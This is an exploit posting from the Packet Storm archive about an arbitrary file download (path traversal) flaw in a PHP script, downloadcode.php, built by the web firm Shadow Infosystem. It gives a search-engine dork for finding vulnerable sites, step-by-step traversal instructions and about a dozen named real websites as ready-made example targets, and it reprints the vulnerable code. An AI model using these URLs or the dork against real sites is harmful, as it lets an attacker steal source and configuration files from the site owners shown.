exploit the possibilities

Shadow Infosystem Arbitrary File Download

Shadow Infosystem Arbitrary File Download
Posted Sep 22, 2015
Authored by Cloner-47

downloadcode.php from Shadow Infosystem suffers from an arbitrary file download vulnerability.

tags | exploit, arbitrary, php, info disclosure
SHA-256 | b3864dd1aa64620ab5f39a5ee1e756dd75eb81aa18ae0b6acd9703a1adf347dc

Shadow Infosystem Arbitrary File Download

Change Mirror Download
|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*|
|--------------------------------------------------------------|
|[+] Exploit Title: Shadow Infosystem Arbitrary File Download
|[+]
|[+] Exploit Author: Ashiyane Digital Security Team
|[+]
|[+] Vendor Homepage: http://shadowinfosystem.com
|[+]
|[+] Google Dork: inurl:/downloadcode.php
|[+]
|[+] Tested on: Windows, Linux
|[+]
|[+] Date: 2015.09.21
|[+]
|--------------------------------------------------------------|
|[+] Describe :
|[+]
|[+] At the first search dork and choose a target
|[+]
|[+] Like this : http://www.spacetechgroup.in
|[+]
|[+] Add this to the end of target URL: downloadcode.php?d=
|[+]
|[+] After [?d=] you should enter your file name that you want to download!
|[+]
|[+] Fore example download in that target index.php:
|[+]
|[+] http://www.spacetechgroup.in/downloadcode.php?d=../index.php
|[+]
|[+] In some targets you can only download files that they're in
[Current] directory!
|[+]
|[+] But I don't want to download from [file] directory!
|[+]
|[+] Then I put [../] after file name to upload from root directory!
|--------------------------------------------------------------|
|[+] Examples :
|[+]
|[+] http://stteresaschool.in/downloadcode.php?d=../index.php
|[+]
|[+] http://hotelsroyalpark.coM/downloadcode.php?d=../index.php
|[+]
|[+] http://jkgttAcademy.com/downloadcode.php?d=index.php
|[+]
|[+] http://raksHatowersgurgaon.com/downloadcode.php?d=../index.php
|[+]
|[+] http://shaDowInfosystem.com/downloadcode.php?d=../index.php
|[+]
|[+] http://keltecHgroup.com/downloadcode.php?download_file=index.php
|[+]
|[+] http://fnfhomez.com/downloadcode.php?df=../index.php
|[+]
|[+] http://renownedInfra.com/downloadcode.php?download_file=../index.php
|[+]
|[+] http://mmgroupinDia.com/downloadcode.php?df=../index.php
|[+]
|[+] http://sunflowerpublicschool.com/downloadcode.php?file=../index.php
|[+]
|[+] http://hitchintak.in/downloadcode.php?d=../index.php
|[+]
|[+] http://ballyhai.net/downloadcode.php?file=../index.php
|[+]
|[+] http://spacetechgroup.in/downloadcode.php?d=../index.php
|--------------------------------------------------------------|
|[+] Vulnerable Code:
|[+] File: downloadcode.php:
<?php
if(isset($_GET['d'])){
$path = "admin/"; // change the path to fit your websites document structure
$fullPath = $path.$_GET['d'];
}else if(isset($_REQUEST['pf'])){
$fullPath = "payment_pdf/".$_REQUEST['pf'];
}

if ($fd = fopen ($fullPath, "r")) {
$fsize = filesize($fullPath);
$path_parts = pathinfo($fullPath);
$ext = strtolower($path_parts["extension"]);
switch ($ext) {
case "jpg":
header("Content-type: application/jpg"); // add here more
headers for diff. extensions
header("Content-Disposition: attachment;
filename=\"".$path_parts["basename"]."\""); // use 'attachment' to
force a download
break;
default;
header("Content-type: application/octet-stream");
header("Content-Disposition:
filename=\"".$path_parts["basename"]."\"");

case "pdf":
header("Content-type: application/pdf"); // add here more
headers for diff. extensions
header("Content-Disposition: attachment;
filename=\"".$path_parts["basename"]."\""); // use 'attachment' to
force a download
break;
default;
header("Content-type: application/octet-stream");
header("Content-Disposition:
filename=\"".$path_parts["basename"]."\"");


case "swf":
header("Content-type: application/swf"); // add here more
headers for diff. extensions
header("Content-Disposition: attachment;
filename=\"".$path_parts["basename"]."\""); // use 'attachment' to
force a download
break;
default;
header("Content-type: application/octet-stream");
header("Content-Disposition:
filename=\"".$path_parts["basename"]."\"");

case "doc":
header("Content-type: application/doc"); // add here more
headers for diff. extensions
header("Content-Disposition: attachment;
filename=\"".$path_parts["basename"]."\""); // use 'attachment' to
force a download
break;
default;
header("Content-type: application/octet-stream");
header("Content-Disposition:
filename=\"".$path_parts["basename"]."\"");

case "xls":
header("Content-type: application/xls"); // add here more
headers for diff. extensions
header("Content-Disposition: attachment;
filename=\"".$path_parts["basename"]."\""); // use 'attachment' to
force a download
break;
default;
header("Content-type: application/octet-stream");
header("Content-Disposition:
filename=\"".$path_parts["basename"]."\"");

case "docx":
header("Content-type: application/docx"); // add here more
headers for diff. extensions
header("Content-Disposition: attachment;
filename=\"".$path_parts["basename"]."\""); // use 'attachment' to
force a download
break;
default;
header("Content-type: application/octet-stream");
header("Content-Disposition:
filename=\"".$path_parts["basename"]."\"");

case "txt":
header("Content-type: application/txt"); // add here more
headers for diff. extensions
header("Content-Disposition: attachment;
filename=\"".$path_parts["basename"]."\""); // use 'attachment' to
force a download
break;
default;
header("Content-type: application/octet-stream");
header("Content-Disposition:
filename=\"".$path_parts["basename"]."\"");


}
header("Content-length: $fsize");
header("Cache-control: private"); //use this to open files directly
while(!feof($fd)) {
$buffer = fread($fd, 22048);
echo $buffer;
}
}
fclose ($fd);
exit;
?>

|--------------------------------------------------------------|
|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*|
|[+] Discovered By : Cloner-47
|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*|
Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    6 Files
  • 24
    May 24th
    19 Files
  • 25
    May 25th
    5 Files
  • 26
    May 26th
    12 Files
  • 27
    May 27th
    12 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close